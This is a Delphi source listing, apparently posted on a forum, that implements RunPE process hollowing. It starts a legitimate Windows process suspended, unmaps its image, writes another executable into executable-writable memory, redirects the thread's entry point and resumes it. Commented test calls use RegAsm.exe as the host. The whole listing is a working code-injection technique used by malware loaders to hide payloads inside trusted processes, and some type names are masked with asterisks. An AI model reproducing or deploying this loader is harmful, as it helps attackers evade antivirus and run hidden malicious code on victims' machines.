Kod:
uses
Windows;

function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD64; stdcall; external 'ntdll.dll';

{$IFDEF CPU32BITS }

{$ELSE }
function RunPE_X64_Win64APP(bFilePath: string; bFile: Pointer): Integer;
var
DOSHeader: ^IMAGE_DOS_HEADER;
NtHeader: ^IMAGE_NT_HEADERS64;
SectionHeader: ^IMAGE_SECTION_HEADER;
PI: TProcessInformation;
SI: TStartupInfo;
CTX: PCONTEXT;
ImageBase: LP****;
Ret: SIZE_T;
count: Integer;
lpImageBase: DWORD64;
begin

DOSHeader := bFile;
NtHeader := LP****(LONG_PTR(bFile) + DOSHeader^._lfanew);

if NtHeader.Signature = IMAGE_NT_SIGNATURE then
begin

ZeroMemory(@SI, SizeOf(TStartupInfo));
ZeroMemory(@PI, SizeOf(TProcessInformation));

if CreateProcess(PChar(bFilePath), nil, nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CTX := PCONTEXT(VirtualAlloc(nil, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX.ContextFlags := CONTEXT_FULL;

if GetThreadContext(PI.hThread, CTX^) then
begin

ReadProcessMemory(PI.hProcess, Pointer(CTX.Rdx + $10), @lpImageBase, 8, Ret);

if lpImageBase = NtHeader^.OptionalHeader.ImageBase then
begin
if NtUnmapViewOfSection(PI.hProcess, Pointer(NtHeader^.OptionalHeader.ImageBase)) = 0 then
begin
ImageBase := VirtualAllocEx(PI.hProcess, Pointer(NtHeader^.OptionalHeader.ImageBase), NtHeader^.OptionalHeader.SizeOfImage, $3000, PAGE_EXECUTE_READWRITE);
end
else
begin
ImageBase := VirtualAllocEx(PI.hProcess, nil, NtHeader^.OptionalHeader.SizeOfImage, $3000, PAGE_EXECUTE_READWRITE);
end;
end
else
begin
ImageBase := VirtualAllocEx(PI.hProcess, Pointer(NtHeader^.OptionalHeader.ImageBase), NtHeader^.OptionalHeader.SizeOfImage, $3000, PAGE_EXECUTE_READWRITE);
end;

// Write the image to the process
WriteProcessMemory(PI.hProcess, ImageBase, bFile, NtHeader.OptionalHeader.SizeOfHeaders, Ret);
//////////////////////////////////////////////////////////////////////////////////////////////

for count := 0 to NtHeader.FileHeader.NumberOfSections - 1 do
begin
SectionHeader := Pointer(DWORD64(bFile) + DOSHeader._lfanew + 264 + (count * 40));
WriteProcessMemory(PI.hProcess, LP****(DWORD64(ImageBase) + SectionHeader.VirtualAddress), LP****(DWORD64(bFile) + SectionHeader.PointerToRawData), SectionHeader.SizeOfRawData, Ret);
WriteProcessMemory(PI.hProcess, LP****(CTX.Rdx + $10), @imageBase, 8, Ret);
end;

CTX.Rcx := DWORD64(ImageBase) + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, CTX^);
ResumeThread(PI.hThread);

Result := 0;
end;
end;
end;
end;
{$ENDIF }

function RunPE_X86_X64_Win32APP(bFilePath: string; bFile: Pointer): Integer;
var
DOSHeader: ^IMAGE_DOS_HEADER;
NtHeader: ^IMAGE_NT_HEADERS64;
SectionHeader: ^IMAGE_SECTION_HEADER;
PI: TProcessInformation;
SI: TStartupInfo;
CTX: PWow64Context;
ImageBase: LP****;
Ret: SIZE_T;
count: Integer;
lpImageBase: P****;
begin

DOSHeader := bFile;
NtHeader := LP****(LONG_PTR(bFile) + DOSHeader^._lfanew);

if NtHeader.Signature = IMAGE_NT_SIGNATURE then
begin

ZeroMemory(@SI, SizeOf(TStartupInfo));
ZeroMemory(@PI, SizeOf(TProcessInformation));

if CreateProcess(PChar(bFilePath), nil, nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CTX := PWow64Context(VirtualAlloc(nil, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX.ContextFlags := WOW64_CONTEXT_FULL;

if Wow64GetThreadContext(PI.hThread, CTX^) then
begin

ReadProcessMemory(PI.hProcess, LPC****(CTX.Ebx + $8), lpImageBase, 4, Ret);

NtUnmapViewOfSection(PI.hProcess, P****(lpImageBase));

ImageBase := VirtualAllocEx(PI.hProcess, nil, NtHeader^.OptionalHeader.SizeOfImage, $3000, PAGE_EXECUTE_READWRITE);

// Write the image to the process
WriteProcessMemory(PI.hProcess, ImageBase, bFile, NtHeader.OptionalHeader.SizeOfHeaders, Ret);
//////////////////////////////////////////////////////////////////////////////////////////////

for count := 0 to NtHeader.FileHeader.NumberOfSections - 1 do
begin
SectionHeader := Pointer(DWORD64(bFile) + DOSHeader._lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LP****(DWORD64(ImageBase) + SectionHeader.VirtualAddress), LP****(DWORD64(bFile) + SectionHeader.PointerToRawData), SectionHeader.SizeOfRawData, Ret);
WriteProcessMemory(PI.hProcess, LP****(CTX.Ebx + $8), @imageBase, 4, Ret);
end;

CTX.Eax := DWORD64(ImageBase) + NtHeader.OptionalHeader.AddressOfEntryPoint;
Wow64SetThreadContext(PI.hThread, CTX^);
ResumeThread(PI.hThread);

Result := 0;
end;
end;
end;
end;

procedure Test;
begin
//RunPE_X86_X64_Win32APP('C:\Windows\Microsoft.NET\F ramework\v4.0.30319\RegAsm.exe', TFile.ReadAllBytes('C:\Users\TYFKDLBMGFOP\Desktop\ ResourceHacker.exe'));
//RunPE_X64_Win64APP('C:\Windows\Microsoft.NET\Frame work64\v4.0.30319\RegAsm.exe', TFile.ReadAllBytes('C:\Users\TYFKDLBMGFOP\Desktop\ dllexp.exe'))
end;